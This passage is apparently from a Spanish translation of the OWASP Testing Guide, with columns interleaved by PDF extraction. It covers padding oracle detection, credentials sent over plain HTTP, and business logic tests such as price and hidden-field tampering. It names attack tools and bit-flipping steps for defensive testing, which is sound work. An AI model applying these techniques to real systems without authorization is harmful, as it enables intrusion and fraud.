Esto causa la pérdida de confidencialidad de los datos cifrados. Por ejemplo, cambie el último bit del penúltimo bloque b-1 (el bit menos significativo del
en el caso de datos de sesión almacenados en el lado del cliente, el atacante byte en y-n-1), vuelva a codificar y envíe. A continuación, decodifique la
puede obtener información sobre el estado interno y la estructura de la cadena original, cambie el último bit del bloque b-2 (el bit menos significativo
aplicación. del byte en y-2*n-1), vuelva a codificar y envíe.
Un ataque de padding oracle también permite a un atacante cifrar textos Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el
arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la servidor o la aplicación está utilizando una mala práctica de codificado de IV),
aplicación asume como correcta la integridad y autenticidad de los datos varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sería
descifrados, un atacante podría ser capaz de manipular el estado de sesión anteponer un bloque al azar y cambiar bits para hacer que el último byte del
interna y posiblemente obtener mayores privilegios. bloque añadido tome todos los valores posibles (0 a 255).
Cómo probar Las pruebas y el valor base deben causar al menos tres diferentes estados
durante y después del descifrado:
Prueba para determinar las vulnerabilidades de padding oracle:

272
• Se consigue descifrar el texto cifrado; los datos resultantes son correctos.
• Se consigue descifrar el texto cifrado, los datos resultantes son confusos y [1] La integridad del texto cifrado debe ser verificada por un mecanismo
causan algunas excepciones y errores de manejo en la lógica de la aplicación. seguro, como HMAC o con formas de autenticar la operación de cifrado como
GCM o CCM.
• Falla el descifrado del texto debido a errores de padding.

[2] Todos los estados de error durante la decodificación y el posterior
procesamiento son manejados uniformemente.
Compare las respuestas con cuidado. Busque sobre todo las excepciones y los
mensajes que indican que algo está mal con el padding. Si aparecen estos
mensajes, la aplicación contiene un oracle padding. Herramientas
• PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implícitamente • python-paddingoracle: github.com
observables (mensajes de error diferentes, tiempos del lado de los canales),
hay una alta probabilidad de que en este momento hay un oracle padding • Poracle: github.com
presente. Trate de realizar el ataque de oracle padding para confirmarlo.
• Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos:
Ejemplos
• Visualización del proceso de decodificación: erlend.oftedal.no

• ASP.NET lanza la excepción “System.Security.Cryptography.Cryptographic
Exception: Padding is invalid and cannot be removed.” si el padding del texto
cifrado que se decodificó está roto.
Referencias
Libros Blancos
• En Java, una excepción javax.crypto.BadPaddingException se lanza en este
caso. • Wikipedia - Padding oracle attack: en.wikipedia.org
• Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”: usenix.org
• Errores de decodificación o similares son posibles padding oracles.
Pruebas para el envío de información sensible por canales sin encriptar

(OTG-CRYPST-003)
Resultados esperados:
Resumen
Una implementación de seguridad revisará la integridad y causará sólo dos
respuestas: ok y failed. No hay ningún canal lateral que se pueda utilizar para Los datos sensibles deben ser protegidos al transmitirse a través de la red. Si
determinar el estado de los errores internos. los datos se transmiten a través de HTTPS o cifrados de alguna otra manera, el
mecanismo de protección no debe tener limitaciones o vulnerabilidades, como
se explica en el artículo más amplio. Pruebas de codificadores SSL/TLS
débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)
Pruebas de Caja Negra [1] y en otra documentación OWASP [2], [3], [4], [5].
Prueba para determinar las vulnerabilidades de padding oracle:
Verifique que todos los lugares donde están codificados los datos del cliente, Como regla general, si los datos deben protegerse cuando se almacenan, estos
que sólo deben ser conocido por el servidor, se encuentran decodificados. datos también deben protegerse durante la transmisión. Algunos ejemplos de
Dicho código debe cumplir las siguientes condiciones: datos sensibles son:

273
<html><head><title>401 Authorization Required</title></head>
• Información utilizada en la autenticación (por ejemplo credenciales, PINs, <body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login
identificadores de sesión, Fichas, Cookies…) credentials! </body></html>
• Información protegida por leyes, regulaciones o políticas organizacionales

específicas (por ejemplo, tarjetas de credito, datos del cliente ).
Ejemplo 2: Autenticación basada en formularios mediante HTTP
Otro ejemplo típico son los formularios de autenticación que transmiten

credenciales de autenticación del usuario mediante HTTP. En el siguiente
ejemplo puede ver en HTTP el uso del atributo "action" del formulario.
Si la aplicación transmite información sensible a través de canales sin También es posible ver este tema examinando el tráfico HTTP con un proxy
codificar - por ejemplo, HTTP - se considera un riesgo de seguridad. Algunos de intercepción.
ejemplos son de autenticación básica que envía credenciales de autenticación
en texto simple mediante HTTP, credenciales de autenticación basadas en
formularios enviados mediante HTTP, o la transmisión de texto simple o
cualquier otra información considerada sensible de acuerdo a normas, leyes, <form action=”http://example.com/login”>
política organizacional o lógica de la aplicación del negocio.
<label for=”username”>User:</label> <input type=”text”
id=”username” name=”username” value=””/><br />
Cómo probar <label for=”password”>Password:</label> <input

type=”password” id=”password” name=”password” value=””/>
Diversos tipos de información que deben ser protegidos podrían transmitirse
mediante la aplicación en texto claro. Es posible verificar si esta información <input type=”submit” value=”Login”/>
se transmite a través de HTTP en lugar de HTTPS, o si se utilizan cifrados
débiles. Para mayor información acerca de la transmisión insegura de </form>
credenciales, vea el Top 10 2013-A6-Sensitive Data Exposure [3] o protección
insuficiente de la capa de transporte en general Top 10 2010-A9-Insufficient
Transport Layer Protection [2].
Ejemplo 3: Cookie que contiene un identificador de sesión enviado por
HTTP
Ejemplo 1: Autenticación básica en HTTP La Cookie del identificador de sesión debe ser transmitida en canales
protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la
Un ejemplo típico es el uso de una autenticación básica en HTTP. Cuando se aplicación transmitirla sin encriptar.
utiliza una autenticación básica, se codifican las credenciales de usuario en
lugar de encriptarlas y se envían como encabezados HTTP. En el ejemplo Note a continuación que la programación de la cookie se realiza sin la bandera
siguiente, el evaluador usa curl [5] para evaluar este tema. Note cómo la de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
aplicación utiliza la autenticación básica y HTTP en lugar de HTTPS
curl -kis http://example.com/restricted/

https://secure.example.com/login
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT

POST /login HTTP/1.1
WWW-Authenticate: Basic realm=”Restricted Area”
Host: secure.example.com
Accept-Ranges: bytes Vary:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Accept-Encoding Content-Length: 162 Gecko/20100101 Firefox/25.0
Content-Type: text/html Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

274
Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.example.com/ Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
Content-Length: 188 Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
HTTP/1.1 302 Found Connection: keep-alive
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache
Pragma: no-cache Expires: 0
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; Content-Type: text/html;charset=UTF-8

expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com;
httponly Content-Length: 730
Location: private/ Date: Tue, 25 Dec 2013 00:00:00 GMT
X-Content-Type-Options: nosniff ----------------------------------------------------------
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN Herramientas
Content-Length: 0 • [5] curl puede ser usado para revisar cómo buscar páginas manualmente
Connection: Keep-Alive Referencias
Content-Type: text/html Recursos OWASP
• [1] Guía de Pruebas OWASP - Pruebas de codificadores SSL/TLS débiles,

protección de transporte de capas insuficiente (OTG-CRYPST-001)
----------------------------------------------------------
http://example.com/private
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
GET /private HTTP/1.1

• [3] OWASP TOP 10 2013 - Sensitive Data Exposure
Host: example.com

• [4] OWASP ASVS v1.1 - V10 Communication Security Verification
Gecko/20100101 Firefox/25.0 Requirements

275
No se pueden automatizar los casos de abuso en la lógica del negocio y siguen

siendo un arte manual que depende de las habilidades del evaluador y de un
• [6] Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTG- conocimiento completo de los procesos del negocio y sus normas.
SESS-002)
Restricciones y límites de negocio

Prueba de la lógica del negocio
Considere las reglas para la función del negocio que proporciona la
Resumen aplicación. ¿Existen límites o restricciones en el comportamiento de las
personas? Entonces considere si la aplicación hace cumplir esas normas.
Para probar las fallas en la lógica del negocio en una aplicación web dinámica Generalmente es bastante fácil identificar los casos de prueba y análisis para
y multifuncional, se requiere pensar en métodos no convencionales. Si el verificar si la aplicación está familiarizada con el negocio.
mecanismo de autenticación de la aplicación está desarrollado con la intención
de realizar los pasos 1, 2, 3, en ese orden específico para autenticar un usuario,
¿qué sucede si el usuario va del paso 1 directamente al paso 3?
Si usted es un evaluador externo, entonces va a tener que usar su sentido
común y preguntar al negocio si las diferentes operaciones se deben permitir
por parte de la aplicación.
En este ejemplo simple, ¿ la aplicación da acceso al no poder abrir, niega el
acceso, o solo manda un error con un mensaje 500?
A veces, en aplicaciones muy complejas, el evaluador no tendrá el

conocimiento completo de cada aspecto de la aplicación inicialmente. En estas
Hay muchos ejemplos que se pueden dar, pero la lección constante es "pensar situaciones, es mejor que el cliente dirija al evaluador a través de la aplicación
fuera del conocimiento común". Este tipo de vulnerabilidad no puede ser para poder tener una mejor comprensión de los límites y la funcionalidad
detectada por un escáner de vulnerabilidad y se basa en las habilidades y prevista de la aplicación, antes de empezar la prueba real.
creatividad del evaluador de penetración.
Además, tener una línea de comunicación directa con los desarrolladores (si es
posible) durante la prueba es de gran ayuda, por si aparecen preguntas con
respecto a la funcionalidad de la aplicación.
Además, este tipo de vulnerabilidad suele ser una de las más difíciles de
detectar y, generalmente, es específica de la aplicación, pero, al mismo
tiempo, uno de los más perjudiciales para la aplicación si se explota.
Descripción del problema
A las herramientas automatizadas les resulta difícil comprender el contexto,

La clasificación de las fallas en la lógica del negocio no han sido estudiadas a por lo tanto, depende de una persona el llevar a cabo este tipo de pruebas. Los
fondo; aunque la explotación de las fallas de negocio suceden con frecuencia siguientes dos ejemplos ilustran cómo el entender la funcionalidad de la
en los sistemas del mundo real, y muchos investigadores de vulnerabilidades aplicación, las intenciones del desarrollador y un pensamiento creativo "fuera
aplicadas las investigan. de la caja" pueden romper la lógica de la aplicación.
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la El primer ejemplo comienza con una manipulación simple del parámetro,
comunidad acerca de si estos problemas representan particularmente nuevos mientras que el segundo es un ejemplo del mundo real de un proceso que
conceptos, o si son variantes de principios bien conocidos. conduce a subvertir completamente la aplicación.
La prueba de fallas en la lógica del negocio es similar a los tipos de prueba Ejemplo 1:
utilizados por evaluadores funcionales que se enfocan en la prueba de estado
lógico o finito. Estos tipos de pruebas requieren que los profesionales de la Supongamos que un sitio de comercio electrónico permite a los usuarios
seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y seleccionar elementos que desean comprar, ver una página de resumen y
usen muchas de las técnicas de prueba adoptadas por los evaluadores luego licitar la venta. ¿Qué pasaría si un atacante vuelve a la página de
funcionales. resumen, manteniendo la validez de la sesión e inyecta un menor costo en
un elemento, completa la transacción y luego sale?

276
Ejemplo 2: Esto es importante porque, sin esta protección, los atacantes pueden ser
capaces de "engañar/trucar" la aplicación para que les permita entrar en
Retener/bloquear recursos y evitar que otros puedan comprar estos artículos secciones de la aplicación del sistema a las cuáles no deberian tener acceso
en línea puede resultar en que los atacantes compren artículos a bajo precio. en ese momento en particular, eludiendo así el flujo de trabajo de la lógica
La solución a este problema es implementar tiempos de cierre de sesión y de negocio de la aplicación.
mecanismos para asegurar que sólo el precio correcto puede ser cargado.
4.12.3 Prueba de comprobación de integridad (OTG-BUSLOGIC-003)

Ejemplo 3:
En la comprobación de integridad y prueba de evidencia de adulteración,
¿Qué pasaría si un usuario pudo iniciar una transacción vinculada a su verificamos que la aplicación no permita a los usuarios destruir la
cuenta de club o lealtad y luego de agregar los puntos a su cuenta cancela la integridad o datos de cualquier parte del sistema.
transacción? ¿Los puntos o créditos todavía pueden aplicarse a su cuenta?
Esto es importante porque, sin estas protecciones, los atacantes pueden

Casos de prueba de la lógica del negocio romper el flujo de trabajo de la lógica del negocio y cambiar o poner en
peligro los datos del sistema de aplicación o encubrir acciones mediante la
Cada aplicación tiene un proceso diferente de negocio y lógica específica de alteración de información, incluyendo archivos de registro.
la aplicación y puede ser manipulada en un número infinito de
combinaciones. Esta sección proporciona algunos ejemplos comunes de
problemas de lógica de negocio, pero de ninguna manera es una lista
completa de todos los temas. 4.12.4 Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Las explotaciones de la lógica del negocio pueden separarse en las En las pruebas del tiempo de procesamiento, verificamos que la aplicación
siguientes categorías: no permita a los usuarios manipular un sistema o adivinar su
comportamiento basado en los tiempos de procesamiento de entrada o
salida.
4.12.1 Prueba de la validación de datos de la lógica del negocio (OTG-

BUSLOGIC-001)
Esto es importante porque, sin esta protección, los atacantes pueden ser
En la prueba de validación de datos de la lógica del negocio, verificamos capaces de controlar el tiempo de procesamiento y determinar las salidas
que la aplicación no permita a los usuarios insertar datos "no validados" en basados en el tiempo o eludir la lógica del negocio de la aplicación al no
el sistema o la aplicación. completar transacciones o acciones en forma oportuna.
Esto es importante porque, sin esta protección, los atacantes pueden insertar 4.12.5 Prueba del número de veces que limita el uso de una función (OTG-
datos/información "no validada" en la aplicación/sistema en "puntos de BUSLOGIC-005)
entrega" donde el sistema/aplicación considera que los datos/información es
"buena" y ha sido válida desde que los puntos de"entrada" realizaron la Al probar el límite de una función, verifique que la aplicación no permita a
validación de datos como parte del flujo de trabajo de la lógica de negocio. los usuarios utilizar partes de la aplicación o sus funciones, más veces de
las requeridas por el flujo de la lógica de trabajo.
4.12.2 Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-

002) Esto es importante porque, sin esta protección, los atacantes pueden utilizar
una función o parte de la aplicación un mayor número de veces que el
En las pruebas de requerimientos de parámetros predictivos y manipulados, permitido por la lógica de negocio para obtener beneficios adicionales.
verificamos que la aplicación no permita a los usuarios enviar o modificar
los datos de cualquier componente del sistema al que ellos no deben tener
acceso, que estén accediendo en ese momento o de esa manera en
particular. 4.12.6 Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-
006)

277
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, Aunque existen herramientas para probar y verificar que los procesos del
verificamos que la aplicación no permite a los usuarios realizar acciones negocio funcionan correctamente en situaciones válidas, estas herramientas
fuera del flujo de proceso de negocios "aprobado/requerido". son incapaces de detectar vulnerabilidades lógicas. Por ejemplo, las
herramientas no tienen posibilidad de detectar si un usuario es capaz de
evitar el flujo de proceso del negocio a través de la edición de parámetros,
predicción de nombres de recursos o escalada de privilegios para acceder a
Esto es importante ya que, sin esta protección, los atacantes pueden ser recursos restringidos ni tienen ningún mecanismo para ayudar a los
capaces de evadir o burlar los flujos de trabajo y "controles" que les permite evaluadores humanos para que sospechen de esta situación.
entrar prematuramente o saltarse las secciones de la aplicación "requerida s",
y potencialmente permite que la acción/transacción termine sin completar el
proceso de negocio, dejando al sistema con información de seguimiento
incompleta en el backend. Los siguientes son algunos tipos comunes de herramientas que pueden ser
útiles en la identificación de temas relacionados con la lógica del negocio.
HP Business Process Testing Software

4.12.7 Prueba de las defensas contra el mal uso de la aplicación (OTG-
BUSLOGIC-007) • www8.hp.com
En las pruebas de defensas contra el mal uso de la aplicación, verificamos

que la aplicación no permita a los usuarios manipular la aplicación de una
manera no deseada. Intercepting Proxy - Para observar los bloques de solicitud y respuesta
del tráfico HTTP.

4.12.8 Prueba de la posibilidad de carga de tipos de archivos inesperados
(OTG-BUSLOGIC-008) • Burp Proxy: portswigger.net
En la prueba de carga de tipos de archivos inesperados, verificamos que la • Paros Proxy: parosproxy.org
aplicación no permita a los usuarios cargar tipos de archivos que el sistema
no espera o requiera de acuerdo a la lógica del negocio.
Web Browser Plug-ins - Para visualizar y modificar encabezados

HTTP/HTTPS, parámetros de publicación y observar el DOM del
Esto es importante ya que, sin esta protección, los atacantes pueden ser navegador
capaces de enviar archivos inesperados tales como .exe o .php que se
guardan en el sistema y luego se ejecutan contra el sistema o aplicación. • Tamper Data (for Internet Explorer: addons.mozilla.org
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTG- • TamperIE (for Internet Explorer): bayden.com
BUSLOGIC-009)
Al probar la carga de archivos maliciosos, verifique que la aplicación no

permita a los usuarios cargar archivos maliciosos o potencialmente dañinos • Firebug (for Internet Explorer): addons.mozilla.org
al sistema y a su seguridad.
Herramientas de pruebas misceláneas

Esto es importante ya que, sin esta protección, los atacantes pueden ser
capaces de cargar archivos al sistema que pueden propagar virus, malware o • Web Developer toolbar: chrome.google.com
incluso explotaciones como shellcode cuando se ejecutan.
La extensión Web Developer añade un botón a la barra de herramientas en

Herramientas el navegador, con varias herramientas de desarrollo web. Este es el puerto
oficial de la extención de Web Developer para Firefox.

278
Realice solicitudes HTTP desde su navegador y navegue en la respuesta

(encabezados HTTP y fuente). Envíe métodos HTTP, encabezados y cuerpo
• HTTP Request Maker: chrome.google.com utilizando XMLHttpRequest desde su navegador y luego vea el estado
HTTP, encabezados y fuente. Haga clic en los links del encabezado o
cuerpo para generar nuevas solicitudes. Este plug-in da formato de
respuesta XML y utiliza un resaltador de sintaxis Syntax Highlighter <
Request Maker es una herramienta para pruebas de penetración. Con ésta http://alexgorbatchev.com/ >.
usted puede capturar fácilmente solicitudes realizadas por páginas web,
manipular la URL, encabezados, datos POST y, por supuesto, realizar
nuevas solicitudes.
• Firebug lite for Chrome: chrome.google.com
• Cookie Editor: chrome.google.com

Firebug Lite no sustituye a Firebug, o las herramientas de Chrome
Developer. Es una herramienta para utilizarla conjuntamente con estas otras
herramientas. Firebug Lite provee la representación visualmente rica que
Edit This Cookie es un administrador de cookies. Usted puede añadir, estamos acostumbrados a ver en Firebug cuando vemos los elementos
borrar, editar, buscar, proteger y bloquear cookies HTML, DOM, y Box Model shading. Además, provee algunas
características interesantes como el inspeccionar los elementos HTML con
su mouse y propiedades de edición en vivo para CSS.
• Session Manager: chrome.google.com Referencias
Libros Blancos
Con Session Manager usted puede grabar rápidamente el estado de su • Business Logic Vulnerabilities in Web Applications:
navegador actual y recargarlo cuando sea necesario. Puede gestionar accorute.googlecode.com
múltiples sesiones, renombrarlas o removerlas de la biblioteca de sesión.
• The Common Misuse Scoring System (CMSS): Metrics for

Cada sesión recuerda el estado del navegador en su momento de creación,
es decir, las ventanas y pestañas abiertas. Una vez que se abre una sesión, el Software Feature Misuse Vulnerabilities - NISTIR 7864: csrc.nist.gov
navegador se restaura a su estado original.
• Designing a Framework Method for Secure Business Application Logic

• Swap My Cookies: chrome.google.com Integrity in e-Commerce Systems, Faisal Nabi: ijns.femto.com.tw
Swap My Cookies es un administrador de sesión. Gestiona sus cookies, • Finite State testing of Graphical User Interfaces, Fevzi Belli:
permitiéndole conectarse en cualquier sitio web con varias cuentas slideshare.net
diferentes.
• Principles and Methods of Testing Finite State Machines - A Survey,

Usted puede finalmente conectarse a Gmail, yahoo, hotmail, y David Lee, Mihalis Yannakakis: cse.ohio-state.edu
prácticamente a cualquier sitio web que utilice, con todas sus cuentas; si
quiere utilizar otra cuenta, ¡solo tiene que intercambiar su perfil!
• Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi:
homepages.cs.ncl.ac.uk
• HTTP Response Browser: chrome.google.com/

279
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee:
info-point-security.com
• Prevent application logic attacks with sound app security practices:
searchappsecurity.techtarget.com
• Seven Business Logic Flaws That Put Your Website At Risk -
Jeremiah Grossman Founder and CTO, WhiteHat Security: • Real-Life Example of a ‘Business Logic Defect: infosecisland.com
whitehatsec.com
• Software Testing Lifecycle: softwaretestingfundamentals.com

• Toward Automated Detection of Logic Vulnerabilities in Web
Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel
Giovanni Vigna: usenix.org
• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws – Vulnerability Detection to Fix:
ntobjectives.com and ntobjectives.com
• 2012 Web Session Intelligence & Security Report: Business Logic Abuse,
Dr. Ponemon: emc.com
Libros
Relacionados a OWASP • The Decision Model: A Business Logic Framework Linking Business and
Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC
• Business Logic Attacks – Bots and Bats, Eldad Chai: blog.imperva.com Press, ISBN1420082817 (2010)
• OWASP Detail Misuse Cases: owasp.org Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001)
Resumen
• How to Prevent Business Flaws Vulnerabilities in Web Applications,
Marco Morana: slideshare.net La aplicación debe asegurarse que pueden introducirse lógicamente datos
válidos en la sección de acceso directo, así como directamente en el lado
del servidor de una aplicación del sistema. Sólo verificar los datos
localmente puede dejar a las aplicaciones vulnerables a inyecciones de
Sitios web útiles servidor a través de proxies o en los intercambios con otros sistemas.
• Abuse of Functionality: projects.webappsec.org
Esto es diferente a simplemente realizar un análisis de valor de límite

(BVA) que es más difícil y, en la mayoría de los casos, no se puede
• Business logic: en.wikipedia.org comprobar simplemente en el punto de entrada; generalmente requiere de
algún otro sistema de control.
• Business Logic Flaws and Yahoo Games: jeremiahgrossman.blogspot.com

Por ejemplo: una aplicación puede solicitar su número de seguro social. En
BVA, la aplicación debe comprobar formatos y semántica (el valor tiene 9
dígitos de largo, no es negativo y no contiene solo 0) en los datos
• CWE-840: Business Logic Errors: cwe.mitre.org introducidos, pero también hay consideraciones lógicas. Los números de
seguro social son agrupados y categorizados. ¿Esta persona está en un
archivo de difuntos? ¿Son de una cierta parte del país?
• Defying Logic: Theory, Design, and Implementation of Complex Systems

for Testing Application Logic: slideshare.net

280
Las vulnerabilidades relacionadas con la validación de datos son únicas, ya crédito en múltiples lugares muy rápidamente, es posible superar mi límite
que son para una aplicación específica y diferente a las vulnerabilidades si los sistemas están basando sus decisiones en los datos de anoche.
relacionadas con la manipulación de solicitudes en las que están más
preocupadas de la lógica de los datos en lugar de simplemente romper el
flujo de trabajo de la lógica del negocio.
Cómo probar
Método de prueba genérica

Tanto la sección de acceso directo (front-end) como la sección de acceso
restringido (back-end) de la aplicación deben verificar y validar que la
información que tiene, utiliza y pasa está validada lógicamente. Incluso si
el usuario provee datos válidos a la aplicación, la lógica del negocio puede • Revise la documentación del proyecto y utilice pruebas exploratorias en
hacer que la aplicación se comporte de una manera distinta, dependiendo de busca de puntos de entrada de datos o puntos de intercambio entre sistemas
los datos o las circunstancias. o software.
Ejemplos • Una vez encontrados, intente insertar datos lógicamente inválidos en el

sistema o aplicación.
Ejemplo 1
Método de prueba específica:
Supongamos que administra un sitio de comercio electrónico de multiples
niveles. El usuario escoge la alfombra, ingresa el tamaño, realiza el pago y
la aplicación de acceso directo ha verificado que toda la información
ingresada es correcta y válida para el contacto, tamaño, fabricación y color • Realizar pruebas GUI de validación funcional en la sección pública de la
de la alfombra. Sin embargo, la lógica de negocio tiene, en el fondo, dos aplicación para asegurarse que se aceptan únicamente los valores "válidos".
rutas.
• Utilizando un proxy de intercepción, observe que el POST/GET de HTTP

Si hay la alfombra en stock, se envía directamente desde su almacén. Si no busque lugares donde pasan variables tales como costo y cantidad.
hay stock en bodega, se realiza una llamada al sistema de su socio y si Específicamente, busque "transferencias" entre aplicaciones y sistemas que
tienen en stock, se enviará la orden desde su bodega y será reembolsada por pueden ser posibles puntos de inyección de manipulación.
su empresa.
•Una vez que las variables se encuentran, empiece a interrogar el campo

¿Qué pasaría si un atacante es capaz de continuar una transacción válida con datos lógicamente "no validos", como números de seguro social o
con stock en su bodega y la envía a su socio como que si no hubiera en identificadores únicos que no existen o que no encajan en la lógica del
stock? ¿Qué pasaría si un atacante es capaz de ingresar en el medio y envía negocio. Esta prueba verifica que el servidor funciona correctamente y no
mensajes al almacén del socio ordenando alfombras sin pagar? acepta datos lógicamente no válidos.
Ejemplo 2 Casos de prueba relacionados
Muchos sistemas de tarjetas de crédito ahora descargan los saldos cada

noche para que los clientes puedan terminar su transacción más rápidamente
cuando las cantidades están bajo un cierto valor. En sentido contrario • Todos los casos de validación de ingresos (Input Validation)
también sería cierto.
• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario.

Si pago mi tarjeta de crédito por la mañana no seré capaz de usar el crédito (OTG-IDENT-004)
disponible por la tarde. Otro ejemplo puede ser que si utilizo mi tarjeta de

281
• Pruebas del esquema de gestión de sesión (OTG-SESS-001) aquellas que permiten la depuración y presentación de pantallas especiales o
ventanas que son muy útiles durante el desarrollo, pero pueden filtrar
información o eludir la lógica del negocio.
• Pruebas para determinar la Exposición de las Variables de Sesión (OTG-

SESS-004)
Las vulnerabilidades relacionadas con la capacidad de falsificar las
solicitudes son únicas para cada aplicación y diferentes en la validación de
datos de la lógica del negocio, ya que su objetivo es romper el flujo de
Herramientas trabajo de la lógica del negocio.
• OWASP Zed Attack Proxy (ZAP): www.owasp.org/
Las aplicaciones deben tener controles lógicos para evitar que el sistema
acepte solicitudes falsificadas que pueden permitir a los atacantes la
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración posibilidad de explotar la lógica del negocio, proceso o flujo de la
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicación. La falsificación de solicitudes no es nueva; el atacante utiliza un
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, proxy de intercepción para enviar solicitudes POST/GET de HTTP a la
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en aplicación.
el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente.
Mediante la falsificación de solicitudes, los atacantes pueden evadir la
lógica del negocio o proceso al encontrar, predecir y manipular los
parámetros para hacer que la aplicación piense que un proceso o tarea ha
Referencias ocurrido o no.
Beginning Microsoft Visual Studio LightSwitch Development:
books.google.com Además, las solicitudes falsificadas pueden permitir la subversión del flujo
del programa o de la lógica del negocio invocando funciones "ocultas" o
funcionalidad como la depuración, inicialmente utilizada por los
desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un
Remediación "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje
oculto o una función en un trabajo como un programa de computadora,
La aplicación/sistema debe garantizar que sólo datos "lógicamente válidos" película, libro o crucigrama.
se acepten en todas las entradas y puntos de transferencia de la aplicación o
sistema, y que los datos no se consideren confiables una vez que han sido
ingresados en el sistema.
Según el diseñador de juegos Warren Robinett, el término fue acuñado en
Atari por el personal que fue alertado de la presencia de un mensaje secreto
que había sido escondido por Robinett en su juego ya ampliamente
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) distribuido, Adventure. Se puso este nombre para evocar la idea de una
cacería tradicional de "huevos de Pascua.”
Resumen
http://en.wikipedia.org/wiki/Easter_egg_(media)
Falsificar las solicitudes es un método que utilizan los atacantes para eludir
la sección de acceso público de una aplicación GUI, para presentar
directamente la información para que se procese en la sección de acceso
restringido. El objetivo del atacante es enviar las solicitudes POST/GET de Ejemplos
HTTP a través de un proxy de intercepción con los valores de datos no
soportados, protegidos en contra o esperados por la lógica del negocio de la Ejemplo 1
aplicación.
Supongamos que un teatro en su sitio de comercio electrónico permite a los
usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10%
una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es
Algunos ejemplos de solicitudes falsificadas que explotan parámetros que capaz de ver a través de un proxy que la aplicación cuenta con un campo
pueden adivinarse o predecirse o que exponen funciones "ocultas" como oculto (de 1 o 0) usado por la lógica del negocio para determinar si ha

282
habido un descuento o no, el atacante podría presentar el 1 o el valor de • Si se encuentra que algún valor es adivinable, este valor puede ser
"descuento no ha sido tomado" varias veces para aprovechar el descuento modificado y se puede obtener visibilidad inesperada.
varias veces.
Método de prueba específica 2:.
Ejemplo 2
• Usando un proxy de intercepción, observe la solicitud POST/GET de
Supongamos que un juego de video en línea paga fichas por puntos HTTP en busca de indicios de funciones ocultas como la de depuración, que
anotados por encontrar tesoros piratas, piratas y por cada nivel completado. puede ser encendida o activada.
Estas fichas pueden intercambiarse posteriormente por premios.
• Si encuentra alguna, trate de adivinar y cambiar estos valores para obtener

Además, los puntos de cada nivel tienen un valor multiplicador igual al una respuesta o comportamiento distinto de la aplicación.
nivel. Si un atacante es capaz de ver a través de un proxy que la aplicación
tiene un campo oculto utilizado durante el desarrollo y pruebas para llegar
rápidamente a los niveles más altos del juego, podría usarlo también para
llegar a los niveles más altos y acumular puntos no ganados rápidamente. Casos de prueba relacionados
Asimismo, si un atacante es capaz de ver a través de un proxy que la Pruebas para determinar la Exposición de las Variables de Sesión (OTG -
aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas SESS-004)
para habilitar un registro que indica dónde se encuentran otros jugadores en
línea o los tesoros escondidos en relación con el atacante, entonces podrían
ir rápidamente a estos lugares y anotar puntos.
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cómo probar
Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario
Método de prueba genérica (OTG-IDENT-004)
• Revise la documentación del proyecto y utilice pruebas exploratorias en Herramientas

busca de campos funcionales que pueden ser adivinados, predecibles u
ocultos. OWASP Zed Attack Proxy (ZAP): owasp.org
• Una vez encontrados, intente insertar datos lógicamente válidos en el ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
sistema o aplicación, lo que permite al usuario ir a través de la encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
aplicación/sistema contra el flujo normal de la lógica del negocio. personas con amplia experiencia en seguridad y, como tal, es ideal para
